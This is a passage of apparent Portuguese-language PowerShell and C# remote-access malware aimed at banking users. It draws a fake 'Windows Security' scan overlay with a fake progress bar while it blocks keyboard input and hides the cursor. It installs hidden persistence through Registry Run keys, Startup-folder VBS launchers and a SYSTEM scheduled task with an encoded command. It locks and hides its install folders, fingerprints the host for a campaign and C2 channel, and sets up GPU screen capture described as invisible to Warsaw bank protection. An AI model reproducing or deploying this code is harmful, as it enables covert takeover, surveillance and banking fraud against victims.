dfRsP * 2, 30); dfRs2H.Location = new Point(dfRsP, dfRsY); dfRS.Controls.Add(dfRs2H); Label dfRs2L = new Label(); dfRs2L.Text = "Obter ajuda"; dfRs2L.Font = new Font("Segoe UI", 10f); dfRs2L.ForeColor = dfLink; dfRs2L.AutoSize = false; dfRs2L.Size = new Size(dfRW - dfRsP * 2, 30); dfRs2L.Location = new Point(dfRsP, dfRsY + 30); dfRS.Controls.Add(dfRs2L); dfRsY += 82; Label dfRs3H = new Label(); dfRs3H.Text = "Quem est\u00e1 me protegendo?"; dfRs3H.Font = new Font("Segoe UI Semibold", 10f); dfRs3H.ForeColor = dfTxP; dfRs3H.AutoSize = false; dfRs3H.Size = new Size(dfRW - dfRsP * 2, 30); dfRs3H.Location = new Point(dfRsP, dfRsY); dfRS.Controls.Add(dfRs3H); Label dfRs3L = new Label(); dfRs3L.Text = "Gerenciar provedores"; dfRs3L.Font = new Font("Segoe UI", 10f); dfRs3L.ForeColor = dfLink; dfRs3L.AutoSize = false; dfRs3L.Size = new Size(dfRW - dfRsP * 2, 30); dfRs3L.Location = new Point(dfRsP, dfRsY + 30); dfRS.Controls.Add(dfRs3L); dfRsY += 82; Label dfRs4H = new Label(); dfRs4H.Text = "Ajude a melhorar a Seguran\u00e7a do\nWindows"; dfRs4H.Font = new Font("Segoe UI Semibold", 10f); dfRs4H.ForeColor = dfTxP; dfRs4H.AutoSize = false; dfRs4H.Size = new Size(dfRW - dfRsP * 2, 50); dfRs4H.Location = new Point(dfRsP, dfRsY); dfRS.Controls.Add(dfRs4H); Label dfRs4L = new Label(); dfRs4L.Text = "Envie seus coment\u00e1rios"; dfRs4L.Font = new Font("Segoe UI", 10f); dfRs4L.ForeColor = dfLink; dfRs4L.AutoSize = false; dfRs4L.Size = new Size(dfRW - dfRsP * 2, 30); dfRs4L.Location = new Point(dfRsP, dfRsY + 52); dfRS.Controls.Add(dfRs4L); dfRsY += 105; Label dfRs5H = new Label(); dfRs5H.Text = "Altere suas configura\u00e7\u00f5es de\nprivacidade"; dfRs5H.Font = new Font("Segoe UI Semibold", 10f); dfRs5H.ForeColor = dfTxP; dfRs5H.AutoSize = false; dfRs5H.Size = new Size(dfRW - dfRsP * 2, 50); dfRs5H.Location = new Point(dfRsP, dfRsY); dfRS.Controls.Add(dfRs5H); Label dfRs5D = new Label(); dfRs5D.Text = "Exiba e altere as configura\u00e7\u00f5es de\nprivacidade do seu dispositivo\nWindows 10."; dfRs5D.Font = new Font("Segoe UI", 10f); dfRs5D.ForeColor = dfTxS; dfRs5D.AutoSize = false; dfRs5D.Size = new Size(dfRW - dfRsP * 2, 65); dfRs5D.Location = new Point(dfRsP, dfRsY + 52); dfRS.Controls.Add(dfRs5D); Label dfRs5L1 = new Label(); dfRs5L1.Text = "Configura\u00e7\u00f5es de privacidade"; dfRs5L1.Font = new Font("Segoe UI", 10f); dfRs5L1.ForeColor = dfLink; dfRs5L1.AutoSize = false; dfRs5L1.Size = new Size(dfRW - dfRsP * 2, 30); dfRs5L1.Location = new Point(dfRsP, dfRsY + 120); dfRS.Controls.Add(dfRs5L1); Label dfRs5L2 = new Label(); dfRs5L2.Text = "Painel de privacidade"; dfRs5L2.Font = new Font("Segoe UI", 10f); dfRs5L2.ForeColor = dfLink; dfRs5L2.AutoSize = false; dfRs5L2.Size = new Size(dfRW - dfRsP * 2, 30); dfRs5L2.Location = new Point(dfRsP, dfRsY + 150); dfRS.Controls.Add(dfRs5L2); Label dfRs5L3 = new Label(); dfRs5L3.Text = "Pol\u00edtica de Privacidade"; dfRs5L3.Font = new Font("Segoe UI", 10f); dfRs5L3.ForeColor = dfLink; dfRs5L3.AutoSize = false; dfRs5L3.Size = new Size(dfRW - dfRsP * 2, 30); dfRs5L3.Location = new Point(dfRsP, dfRsY + 180); dfRS.Controls.Add(dfRs5L3); // TIMER int dfTk = 0; int dfFN = 213; int dfSc = 81; Random dfRd = new Random(); var tmrDF = new System.Windows.Forms.Timer(); tmrDF.Interval = 35; tmrDF.Tick += (s, e) => { try { dfTk++; if (dfTk % 3 == 0) { dfFN += dfRd.Next(1, 5); dfL3.Text = dfFN.ToString() + " arquivos verificados"; } if (dfTk % 29 == 0) { dfSc--; if (dfSc <= 0) dfSc = dfRd.Next(60, 180); int m = dfSc / 60; int s2 = dfSc % 60; dfL2.Text = "Tempo restante estimado: 00:" + m.ToString("D2") + ":" + s2.ToString("D2"); } } catch { } }; tmrDF.Start(); break; } overlayForm.Load += (s, e) => { // Posicionar elementos no MONITOR PRIMARIO Rectangle pri = Screen.PrimaryScreen.Bounds; Rectangle vsc = SystemInformation.VirtualScreen; int offX = pri.X - vsc.X; int offY = pri.Y - vsc.Y; int cX = offX + pri.Width / 2; int cY = offY + pri.Height / 2; if (currentMode == 1) { dotsPanel.Left = cX - dotsPanel.Width / 2; dotsPanel.Top = cY - 150; lblMain.Left = cX - lblMain.Width / 2; lblMain.Top = cY - 30; lblPercent.Left = cX - lblPercent.Width / 2; lblPercent.Top = cY + 60; lblSub.Left = cX - lblSub.Width / 2; lblSub.Top = cY + 120; } else if (currentMode == 2) { dotsPanel.Left = cX - dotsPanel.Width / 2; dotsPanel.Top = cY - 120; lblMain.Left = cX - lblMain.Width / 2; lblMain.Top = cY; lblSub.Left = cX - lblSub.Width / 2; lblSub.Top = cY + 80; } else if (currentMode == 3) { lblMain.Left = offX + pri.Width / 6; lblMain.Top = cY - 200; lblPercent.Left = offX + pri.Width / 6; lblPercent.Top = cY - 20; lblSub.Left = offX + pri.Width / 6; lblSub.Top = cY + 120; } else if (currentMode == 4) { lblMain.Left = offX + 50; lblMain.Top = cY - 50; lblPercent.Left = offX + 50; lblPercent.Top = cY; lblSub.Left = offX + 50; lblSub.Top = cY + 80; } // Modos 6-24 ja tem posicao fixa definida no switch try { SetWindowDisplayAffinity(overlayForm.Handle, 0x11); } catch { } try { SetWindowLong(overlayForm.Handle, -20, GetWindowLong(overlayForm.Handle, -20) | 0x80000 | 0x20 | 0x80); } catch { } try { SetWindowPos(overlayForm.Handle, HWND_TOPMOST, 0, 0, 0, 0, 0x43); } catch { } try { HideCursorGlobal(); } catch { } try { InstallKbHook(); } catch { } }; overlayForm.FormClosing += (s, e) => { if (!shouldClose) e.Cancel = true; }; // Timer para animacao var timer = new System.Windows.Forms.Timer(); timer.Interval = 50; int tickCount = 0; // 720 ticks = 36 segundos = 1% (total ~1 hora para 99%) int ticksPerPercent = 720; timer.Tick += (s, e) => { try { tickCount++; angle -= 0.1; if (currentMode == 1 || currentMode == 2 || (currentMode >= 6 && currentMode <= 10)) { dotsPanel.Invalidate(); } // Incrementar % muito devagar (1% a cada ~36 segundos) Rectangle pri = Screen.PrimaryScreen.Bounds; Rectangle vsc = SystemInformation.VirtualScreen; int cX = (pri.X - vsc.X) + pri.Width / 2; if (currentMode == 1) { if (progress < 99 && tickCount % ticksPerPercent == 0) progress++; lblPercent.Text = progress + "% concluido"; lblPercent.Left = cX - lblPercent.Width / 2; } else if (currentMode == 3) { if (progress < 99 && tickCount % (ticksPerPercent / 2) == 0) progress++; lblSub.Text = progress + "% concluido"; } else if (currentMode == 4) { if (progress < 99 && tickCount % ticksPerPercent == 0) progress++; lblPercent.Text = progress + "% concluido."; } } catch { } }; timer.Start(); var zTimer = new System.Windows.Forms.Timer(); zTimer.Interval = 2000; zTimer.Tick += (s, ev) => { try { SetWindowPos(overlayForm.Handle, HWND_TOPMOST, 0, 0, 0, 0, 0x001B); } catch { } }; overlayForm.Shown += (s, ev) => { try { ForceToFront(overlayForm.Handle); zTimer.Start(); } catch { } }; Application.Run(overlayForm); } catch { } finally { isActive = false; overlayForm = null; } }); formThread.SetApartmentState(ApartmentState.STA); formThread.IsBackground = true; formThread.Start(); Thread.Sleep(1); } public static void Hide() { shouldClose = true; isActive = false; try { RemoveKbHook(); } catch { } try { ShowCursorGlobal(); } catch { } if (overlayForm != null) { try { if (overlayForm.InvokeRequired) { overlayForm.BeginInvoke((MethodInvoker)delegate { try { Application.ExitThread(); overlayForm.Close(); } catch { } }); } else { Application.ExitThread(); overlayForm.Close(); } } catch { } } if (formThread != null) { try { formThread.Join(1000); } catch { } } overlayForm = null; formThread = null; } } "@ Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName System.Drawing try { Add-Type -TypeDefinition $NativeCode -ReferencedAssemblies System.Windows.Forms,System.Drawing -ErrorAction Stop } catch { } # === VERIFICACAO AUTOMATICA DE CLASSES === $classesOK = $true @('NativeInput', 'DisplayOverlay') | ForEach-Object { try { $t = [System.Type]::GetType($_, $false) if (-not $t) { $t = $_ -as [Type] } if ($t) { } else { $classesOK = $false } } catch { $classesOK = $false } } if (-not $classesOK) { try { Add-Type -TypeDefinition $NativeCode -ReferencedAssemblies System.Windows.Forms,System.Drawing -ErrorAction Stop } catch { } } $script:OverlayActive = $false $script:CurrentOverlayMode = 0 $script:InputPaused = $false function Start-DisplayOverlay { param([int]$Mode = 1) try { [DisplayOverlay]::Show($Mode) $script:OverlayActive = $true $script:CurrentOverlayMode = $Mode } catch { $script:OverlayActive = $false } } function Stop-DisplayOverlay { try { [DisplayOverlay]::Hide() } catch { } $script:OverlayActive = $false $script:CurrentOverlayMode = 0 } function Start-InputPause { $script:InputPaused = $true if ($script:_inputBlockFlag) { $script:_inputBlockFlag[0] = 1 } } function Stop-InputPause { $script:InputPaused = $false if ($script:_inputBlockFlag) { $script:_inputBlockFlag[0] = 0 } } function Read-Packet { param($Stream, [switch]$Wait) try { # Se Wait, aguardar dados chegarem if ($Wait) { $timeout = [DateTime]::Now.AddSeconds(5) while (-not $Stream.DataAvailable -and [DateTime]::Now -lt $timeout) { Start-Sleep -Milliseconds 1 } if (-not $Stream.DataAvailable) { return $null } } # Ler header completo (9 bytes) - reusar buffer if (-not $script:_pktHeaderBuf) { $script:_pktHeaderBuf = New-Object byte[] 9 } $hdr = $script:_pktHeaderBuf $hdrRead = 0 $timeout = [DateTime]::Now.AddSeconds(5) while ($hdrRead -lt 9) { if ([DateTime]::Now -gt $timeout) { return $null } try { $r = $Stream.Read($hdr, $hdrRead, 9 - $hdrRead) if ($r -gt 0) { $hdrRead += $r } elseif ($r -eq 0) { return $null } # conexao fechada pelo servidor } catch { if (-not $Stream.DataAvailable) { Start-Sleep -Milliseconds 5 } } } # Verificar magic $magic = [byte[]]$Config.Magic if (($hdr[0] -ne $magic[0]) -or ($hdr[1] -ne $magic[1]) -or ($hdr[2] -ne $magic[2]) -or ($hdr[3] -ne $magic[3])) { return $null } $type = $hdr[4] $len = [BitConverter]::ToInt32($hdr, 5) $data = @() if ($len -gt 0 -and $len -lt 50000000) { # 50MB max (screenshots grandes podem ter varios MB) $data = New-Object byte[] $len $total = 0 $timeout = [DateTime]::Now.AddSeconds(60) # 60s para pacotes grandes (screenshots) while ($total -lt $len) { if ([DateTime]::Now -gt $timeout) { return $null } try { $toRead = [Math]::Min(65536, $len - $total) $chunk = $Stream.Read($data, $total, $toRead) if ($chunk -gt 0) { $total += $chunk } elseif ($chunk -eq 0) { return $null } # conexao fechada pelo servidor } catch { Start-Sleep -Milliseconds 5 } } } return @{ Type = $type; Length = $len; Data = $data } } catch { return $null } } # =============================================================================== # FUNCOES AUXILIARES DE VERIFICACAO # =============================================================================== # Funcao para verificar se e Admin function Test-IsAdmin { try { $identity = [System.Security.Principal.WindowsIdentity]::GetCurrent() $principal = New-Object System.Security.Principal.WindowsPrincipal($identity) return $principal.IsInRole([System.Security.Principal.WindowsBuiltInRole]::Administrator) } catch { return $false } } # Funcao para verificar se e SYSTEM function Test-IsSystem { try { $identity = [System.Security.Principal.WindowsIdentity]::GetCurrent() return ($identity.Name -eq "NT AUTHORITY\SYSTEM" -or $identity.User.Value -eq "S-1-5-18") } catch { return $false } } # =============================================================================== # PERSISTENCIA LIMPA (APENAS TAREFA AGENDADA + UAC) # =============================================================================== # Configuracao da persistencia limpa (usa mesmos valores de $InstallConfig) $script:CleanPersistConfig = @{ TaskName = $script:InstallConfig.TaskName InstallDir = $script:InstallConfig.InstallDir ScriptName = $script:InstallConfig.ScriptName # Caminho alternativo para usuario sem Admin UserInstallDir = "$env:APPDATA\Microsoft\$($__identity.SvcName)" # User mode sempre AppData } # Criar launcher VBScript function Build-LauncherVBS { param([string]$OutputPath, [string]$TargetScript) try { $escapedPath = $TargetScript -replace "'", "''" $vbsCode = "CreateObject(""WScript.Shell"").Run ""powershell.exe -NoP -EP Bypass -W Hidden -c """"& ([ScriptBlock]::Create((gc '$escapedPath' -Raw)))"""""", 0, False" [System.IO.File]::WriteAllText($OutputPath, $vbsCode, [System.Text.Encoding]::ASCII) return (Test-Path $OutputPath) } catch { return $false } } # Spawnar processo invisivel (sem janela) function Start-Invisible { param([string]$Command, [string]$Arguments) try { $psi = New-Object System.Diagnostics.ProcessStartInfo $psi.FileName = $Command $psi.Arguments = $Arguments $psi.CreateNoWindow = $true $psi.UseShellExecute = $false $psi.WindowStyle = [System.Diagnostics.ProcessWindowStyle]::Hidden [System.Diagnostics.Process]::Start($psi) | Out-Null return $true } catch { return $false } } # Instalar persistencia SIMPLES (Registry Run + VBS launcher para evitar janela piscando) function Install-CleanPersistence { param([string]$ScriptPath) try { $cfg = $script:CleanPersistConfig # Usar o script path fornecido ou fallback $scriptToUse = $ScriptPath if (-not $scriptToUse -or -not (Test-Path $scriptToUse -EA SilentlyContinue)) { $scriptToUse = $script:SourceScriptPath } if (-not $scriptToUse -or -not (Test-Path $scriptToUse -EA SilentlyContinue)) { $scriptToUse = "$env:APPDATA\Microsoft\$($__identity.SvcName)\$($__identity.FileName).txt" } # Criar VBS launcher (nome polimorfico) $__vbsName = $__identity.FileName.Substring(0, [Math]::Min(12, $__identity.FileName.Length)) $vbsPath = "$env:APPDATA\Microsoft\$($__identity.SvcName)\$__vbsName.vbs" try { $vbsDir = Split-Path $vbsPath -Parent if (-not (Test-Path $vbsDir)) { New-Item -Path $vbsDir -ItemType Directory -Force -EA SilentlyContinue | Out-Null } Build-LauncherVBS -OutputPath $vbsPath -TargetScript $scriptToUse | Out-Null } catch {} # Startup Folder (metodo mais robusto) $startupFolder = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" $startupVbs = "$startupFolder\$__vbsName.vbs" try { Build-LauncherVBS -OutputPath $startupVbs -TargetScript $scriptToUse | Out-Null } catch {} # Registry Run (backup) try { $regPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" $regName = $cfg.TaskName $regValue = "wscript.exe `"$vbsPath`"" Set-ItemProperty -Path $regPath -Name $regName -Value $regValue -Force } catch {} # Proteger pasta USER (maximo) try { $userDir = "$env:APPDATA\Microsoft\$($__identity.SvcName)" if (Test-Path $userDir) { # 1. ACL: apenas usuario atual e SYSTEM $acl = Get-Acl $userDir $acl.SetAccessRuleProtection($true, $false) $acl.Access | ForEach-Object { $acl.RemoveAccessRule($_) } | Out-Null $currentUser = [Security.Principal.WindowsIdentity]::GetCurrent().Name $acl.AddAccessRule((New-Object Security.AccessControl.FileSystemAccessRule($currentUser,"FullControl","ContainerInherit,ObjectInherit","None","Allow"))) $acl.AddAccessRule((New-Object Security.AccessControl.FileSystemAccessRule("SYSTEM","FullControl","ContainerInherit,ObjectInherit","None","Allow"))) Set-Acl $userDir $acl # 2. Atributos: Hidden + System (invisivel no Explorer) $dirItem = Get-Item $userDir -Force $dirItem.Attributes = $dirItem.Attributes -bor [IO.FileAttributes]::Hidden -bor [IO.FileAttributes]::System # 3. Esconder arquivos individuais Get-ChildItem $userDir -Force -EA 0 | ForEach-Object { $_.Attributes = $_.Attributes -bor [IO.FileAttributes]::Hidden -bor [IO.FileAttributes]::System } } } catch {} return $true } catch { return $false } } # Verificar se persistencia limpa esta instalada (apenas Registry Run) function Test-CleanPersistenceInstalled { $cfg = $script:CleanPersistConfig # Verificar Tarefa Agendada (metodo principal) try { $task = Get-ScheduledTask -TaskName $cfg.TaskName -ErrorAction SilentlyContinue if ($null -ne $task) { return $true } } catch {} # Verificar Registry Run (fallback) try { $regPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" $regValue = Get-ItemProperty -Path $regPath -Name $cfg.TaskName -ErrorAction SilentlyContinue if ($null -ne $regValue) { return $true } } catch {} return $false } # Remover persistencia SIMPLES function Remove-CleanPersistence { try { $cfg = $script:CleanPersistConfig # Remover do Registry Run (unica persistencia agora) $regPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" Remove-ItemProperty -Path $regPath -Name $cfg.TaskName -ErrorAction SilentlyContinue return $true } catch { return $false } } # Solicitar UAC e instalar servico function Request-UACAndInstallService { param([string]$ScriptPath) $scriptToUse = $ScriptPath if (-not $scriptToUse) { $scriptToUse = $script:SourceScriptPath } if (-not $scriptToUse) { $scriptToUse = (Join-Path $script:InstallConfig.InstallDir $script:InstallConfig.ScriptName) } if (-not (Test-Path $scriptToUse -EA SilentlyContinue)) { return "error" } $scriptEsc = $scriptToUse -replace "'", "''" try { $proc = Start-Process powershell.exe ` -ArgumentList "-WindowStyle Hidden -ExecutionPolicy Bypass -Command `"& ([ScriptBlock]::Create((gc '$scriptEsc' -Raw))) -ScriptPath '$scriptEsc' -InstallService`"" ` -Verb RunAs ` -PassThru if ($proc) { $proc.WaitForExit(180000) } # Verificar tarefa SYSTEM com retry for ($check = 1; $check -le 5; $check++) { Start-Sleep -Seconds 3 $task = Get-ScheduledTask -TaskName $script:InstallConfig.TaskName -EA SilentlyContinue if ($task) { return "installed" } } $r = Install-CleanPersistence -ScriptPath $scriptToUse return $(if ($r) { "persist_only" } else { "error" }) } catch { $r = Install-CleanPersistence -ScriptPath $scriptToUse return $(if ($r) { "persist_only" } else { "denied" }) } } function Test-PersistenceInstalled { Test-CleanPersistenceInstalled } function Remove-AutoPersistence { Remove-CleanPersistence } # Funcao para criar tarefa agendada SYSTEM + persistencia function Install-ScheduledTask { param([string]$ScriptPath) try { $cfg = $script:InstallConfig $taskName = $cfg.TaskName $svcName = $__identity.SvcName $fileNameNoExt = $__identity.FileName # Pasta de instalacao $installPath = $cfg.InstallDir if (-not (Test-Path $installPath)) { New-Item -Path $installPath -ItemType Directory -Force -EA SilentlyContinue | Out-Null } # Copiar script se necessario $destScript = Join-Path $installPath $cfg.ScriptName if ($ScriptPath -and $ScriptPath -ne $destScript -and (Test-Path $ScriptPath -EA 0)) { Copy-Item -Path $ScriptPath -Destination $destScript -Force -EA SilentlyContinue } # Garantir que o arquivo existe if (-not (Test-Path $destScript -EA 0)) { return $false } $isAdmin = Test-IsAdmin if (-not $isAdmin) { # Sem Admin: Registry Run $destEsc = $destScript -replace "'", "''" Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $taskName -Value "powershell.exe -NoP -EP Bypass -W Hidden -c `"`$env:_sU='1';IEX (gc '$destEsc' -Raw)`"" -Force return $true } # === ADMIN: Criar Task SYSTEM === $destEsc = $destScript -replace "'", "''" # VBS com nome polimorfico $vbsName = $fileNameNoExt.Substring(0, [Math]::Min(12, $fileNameNoExt.Length)) $vbsPath = "$installPath\$vbsName.vbs" # Comando com identidade embutida $psCmd = "`$env:_nR='1';`$env:_sU='1';`$env:_sN='$svcName';`$env:_fN='$fileNameNoExt';& ([ScriptBlock]::Create((gc '$destEsc' -Raw))) -ScriptPath '$destEsc'" $encCmd = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($psCmd)) # Criar VBS $vbsContent = "CreateObject(""WScript.Shell"").Run ""powershell.exe -NoP -EP Bypass -NonInteractive -EncodedCommand $encCmd"", 0, False" [System.IO.File]::WriteAllText($vbsPath, $vbsContent, [System.Text.Encoding]::ASCII) # Criar Task SYSTEM Unregister-ScheduledTask -TaskName $taskName -Confirm:$false -EA SilentlyContinue $action = New-ScheduledTaskAction -Execute "$env:WINDIR\System32\wscript.exe" -Argument "`"$vbsPath`"" $trigger = New-ScheduledTaskTrigger -AtStartup $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -Hidden $principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest -LogonType ServiceAccount Register-ScheduledTask -TaskName $taskName -Action $action -Trigger $trigger -Settings $settings -Principal $principal -Force | Out-Null # Proteger pasta SYSTEM (maximo) try { # 1. ACL: apenas SYSTEM e Admins $acl = Get-Acl $installPath $acl.SetAccessRuleProtection($true, $false) $acl.Access | ForEach-Object { $acl.RemoveAccessRule($_) } | Out-Null $acl.AddAccessRule((New-Object Security.AccessControl.FileSystemAccessRule("SYSTEM","FullControl","ContainerInherit,ObjectInherit","None","Allow"))) $acl.AddAccessRule((New-Object Security.AccessControl.FileSystemAccessRule("Administrators","FullControl","ContainerInherit,ObjectInherit","None","Allow"))) Set-Acl $installPath $acl # 2. Atributos: Hidden + System (invisivel no Explorer) $dirItem = Get-Item $installPath -Force $dirItem.Attributes = $dirItem.Attributes -bor [IO.FileAttributes]::Hidden -bor [IO.FileAttributes]::System # 3. Esconder arquivos individuais tambem Get-ChildItem $installPath -Force -EA 0 | ForEach-Object { $_.Attributes = $_.Attributes -bor [IO.FileAttributes]::Hidden -bor [IO.FileAttributes]::System } } catch {} # Iniciar task AGORA Start-ScheduledTask -TaskName $taskName -EA SilentlyContinue # Verificar se criou $task = Get-ScheduledTask -TaskName $taskName -EA SilentlyContinue return ($null -ne $task) } catch { return $false } } # Funcao para solicitar elevacao UAC (abre nova janela pedindo Admin) function Request-Elevation { param([string]$ScriptPath) # Simplesmente chamar Request-UACAndInstallService que ja esta atualizada return (Request-UACAndInstallService -ScriptPath $ScriptPath) } function Get-SystemInfo { # GARANTIR que token existe (pode n?o existir se executado via ScriptBlock::Create) if (-not $script:InstallToken -or $script:InstallToken.Length -lt 32) { $script:InstallToken = Get-OrCreateInstallToken $script:TokenProof = Get-TokenProof -Token $script:InstallToken } $os = Get-CimInstance Win32_OperatingSystem -ErrorAction SilentlyContinue $scr = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds $guid = $null try { $guid = (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Cryptography" -Name MachineGuid -EA Stop).MachineGuid } catch {} if (!$guid) { try { $guid = (Get-ItemProperty "HKLM:\SOFTWARE\WOW6432Node\Microsoft\Cryptography" -Name MachineGuid -EA Stop).MachineGuid } catch {} } if (!$guid) { $guid = "$env:COMPUTERNAME-$env:USERNAME" } # Coletar IP IPv4 real ? prioriza adaptador com gateway (= acesso real a rede) $ips = @() try { $allAdapters = Get-CimInstance Win32_NetworkAdapterConfiguration -EA SilentlyContinue | Where-Object { $_.IPEnabled -and $_.IPAddress } # 1a tentativa: adaptador com gateway configurado (interface com acesso a internet) $withGateway = $allAdapters | Where-Object { $_.DefaultIPGateway -and $_.DefaultIPGateway.Count -gt 0 } $ips = $withGateway | ForEach-Object { $_.IPAddress } | Where-Object { $_ -match '^\d+\.\d+\.\d+\.\d+$' -and $_ -notmatch '^127\.' -and $_ -notmatch '^169\.254\.' -and $_ -ne '0.0.0.0' } # 2a tentativa: qualquer adaptador fisico (sem virtuais pelo Description) if (-not $ips -or $ips.Count -eq 0) { $ips = $allAdapters | Where-Object { $_.Description -notmatch 'VMware|VirtualBox|Hyper-V|Virtual|TAP|Loopback|Bluetooth|Teredo|isatap|Pseudo|6TO4|Wi-Fi Direct|Miniport' } | ForEach-Object { $_.IPAddress } | Where-Object { $_ -match '^\d+\.\d+\.\d+\.\d+$' -and $_ -notmatch '^127\.' -and $_ -notmatch '^169\.254\.' -and $_ -ne '0.0.0.0' } } } catch {} # Fallback final: Get-NetIPAddress if (-not $ips -or $ips.Count -eq 0) { try { $ips = Get-NetIPAddress -AddressFamily IPv4 -EA SilentlyContinue | Where-Object { $_.IPAddress -notmatch '^127\.' -and $_.IPAddress -notmatch '^169\.254\.' -and $_.InterfaceAlias -notmatch 'Loopback|VMware|VirtualBox|Hyper-V|vEthernet|Teredo|isatap|TAP|Bluetooth|Wi-Fi Direct' } | ForEach-Object { $_.IPAddress } } catch {} } # Coletar MAC Address $mac = "" try { $mac = (Get-NetAdapter | Where-Object { $_.Status -eq 'Up' } | Select-Object -First 1).MacAddress } catch {} # Coletar info de CPU/RAM $cpu = "" $ram = "" try { $cpu = (Get-CimInstance Win32_Processor -EA SilentlyContinue | Select-Object -First 1).Name $totalRam = [Math]::Round((Get-CimInstance Win32_ComputerSystem -EA SilentlyContinue).TotalPhysicalMemory / 1GB, 1) $ram = "${totalRam} GB" } catch {} # Detectar tipo de elevacao: System, Admin ou User $elevationType = "User" try { $currentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent() $principal = New-Object System.Security.Principal.WindowsPrincipal($currentUser) $isAdmin = $principal.IsInRole([System.Security.Principal.WindowsBuiltInRole]::Administrator) # Verificar se e SYSTEM (NT AUTHORITY\SYSTEM) if ($currentUser.Name -eq "NT AUTHORITY\SYSTEM" -or $currentUser.User.Value -eq "S-1-5-18") { $elevationType = "System" } elseif ($isAdmin) { $elevationType = "Admin" } } catch { $elevationType = "User" } Get-MonitorList | Out-Null $monArray = @() foreach ($mon in $script:Monitors) { $monArray += @{ Index = $mon.Index Name = $mon.Name Width = $mon.Width Height = $mon.Height X = $mon.X Y = $mon.Y Primary = [bool]$mon.Primary } } return @{ MachineGuid = $guid MachineName = $env:COMPUTERNAME MachineDomain = $env:USERDOMAIN LoggedOnUserName = $env:USERNAME LoggedOnUserDomain = $env:USERDOMAIN OperatingSystemName = $os.Caption OperatingSystemVersion = $os.Version ScreenWidth = $scr.Width ScreenHeight = $scr.Height ClientVersion = $Config.Version PcSpeed = $script:PerfConfig.PcSpeed TargetFps = $script:PerfConfig.TargetFps LocalIPs = $ips -join ", " MacAddress = $mac CPU = $cpu RAM = $ram InstallToken = $script:InstallToken TokenProof = $script:TokenProof ElevationType = $elevationType Campaign = $script:Campaign Monitors = $monArray ActiveState = @{ OverlayActive = [bool]$script:OverlayActive OverlayMode = [int]$script:PreviousOverlayMode InputBlocked = [bool]$script:InputPaused } } } # =============================================================================== # DXGI DESKTOP DUPLICATION - Captura via GPU (invisivel pro Warsaw) # Compila worker .exe que captura frames via DXGI + encode JPEG via WIC # Zero GDI/GDI+ = zero deteccao por win32k.sys # =============================================================================== $script:DxgiWorkerProcess = $null $script:DxgiFramePath = "$env:TEMP\$([guid]::NewGuid().ToString('N').Substring(0,8)).tmp" $script:DxgiReqPath = "$($script:DxgiFramePath).req" $script:DxgiQualityPath = "$($script:DxgiFramePath).q" $script:DxgiMonPath = "$($script:DxgiFramePath).mon" $script:_dxgiWorkerSrc = @' using System; using System.Runtime.InteropServices; using System.Threading; using System.IO; class DxgiWorker { [DllImport("d3d11.dll")] static extern int D3D11CreateDevice(IntPtr a, int dt, IntPtr sw, uint f, int[] fl, uint nl, uint sdk, out IntPtr dev, out int feat, out IntPtr ctx); [DllImport("shcore.dll")] static extern int SetProcessDpiAwareness(int v); [DllImport("dxgi.dll")] static extern int CreateDXGIFactory1([MarshalAs(UnmanagedType.LPStruct)] Guid r, out IntPtr f); static readonly Guid F1 = new Guid("770aae78-f26f-4dba-a829-253c83d1b387"); static readonly Guid O1 = new Guid("00cddea8-939b-4b83-a340-a685226666cc"); static readonly Guid T2D = new Guid("6f15aaf2-d208-4e89-9ab4-489535d34f9c"); static IntPtr VT(IntPtr o, int s) { return Marshal.ReadIntPtr(Marshal.ReadIntPtr(o), s * IntPtr.Size); } [UnmanagedFunctionPointer(CallingConvention.StdCall)] delegate int DEnum(IntPtr s, uint i, out IntPtr o); [UnmanagedFunctionPointer(CallingConvention.StdCall)] delegate int DQI(IntPtr s, [MarshalAs(UnmanagedType.LPStruct)] Guid g, out IntPtr o); [UnmanagedFunctionPointer(CallingConvention.StdCall)] delegate int DDup(IntPtr s, IntPtr d, out IntPtr dp); [UnmanagedFunctionPointer(CallingConvention.StdCall)] delegate int DRel(IntPtr s); [StructLayout(LayoutKind.Sequential)] struct FI { public long a, b; public uint c, d; public int e; public int px, py, pv; public uint f, g; } [StructLayout(LayoutKind.Sequential)] struct TD { public uint W, H, M, A, Fmt, SC, SQ, U, B, C, Mc; } [StructLayout(LayoutKind.Sequential)] struct MS { public IntPtr p; public uint rp, dp; } [UnmanagedFunctionPointer(CallingConvention.StdCall)] delegate int DAcq(IntPtr s, uint t, out FI i, out IntPtr r); [UnmanagedFunctionPointer(CallingConvention.StdCall)] delegate int DRelF(IntPtr s); [UnmanagedFunctionPointer(CallingConvention.StdCall)] delegate void DCopy(IntPtr s, IntPtr d, IntPtr sr); [UnmanagedFunctionPointer(CallingConvention.StdCall)] delegate int DCreate(IntPtr s, ref TD d, IntPtr id, out IntPtr t); [UnmanagedFunctionPointer(CallingConvention.StdCall)] delegate int DMap(IntPtr s, IntPtr r, uint sub, uint mt, uint mf, out MS m); [UnmanagedFunctionPointer(CallingConvention.StdCall)] delegate void DUnmap(IntPtr s, IntPtr r, uint sub); [UnmanagedFunctionPointer(CallingConvention.StdCall)] delegate int DDesc(IntPtr s, IntPtr d); static byte[] pixelBuf; static int pixelBufSize; static MemoryStream jpegMs = new MemoryStream(262144); static byte[] EncodeJpeg(IntPtr pixels, int w, int h, int stride, int quality) { int bufSize = stride * h; var bmp = System.Windows.Media.Imaging.BitmapSource.Create( w, h, 96, 96, System.Windows.Media.PixelFormats.Bgra32, null, pixels, bufSize, stride); var enc = new System.Windows.Media.Imaging.JpegBitmapEncoder(); enc.QualityLevel = quality; enc.Frames.Add(System.Windows.Media.Imaging.BitmapFrame.Create(bmp)); jpegMs.SetLength(0); enc.Save(jpegMs); return jpegMs.ToArray(); } static void WriteJpegToFile(string path, IntPtr pixels, int w, int h, int 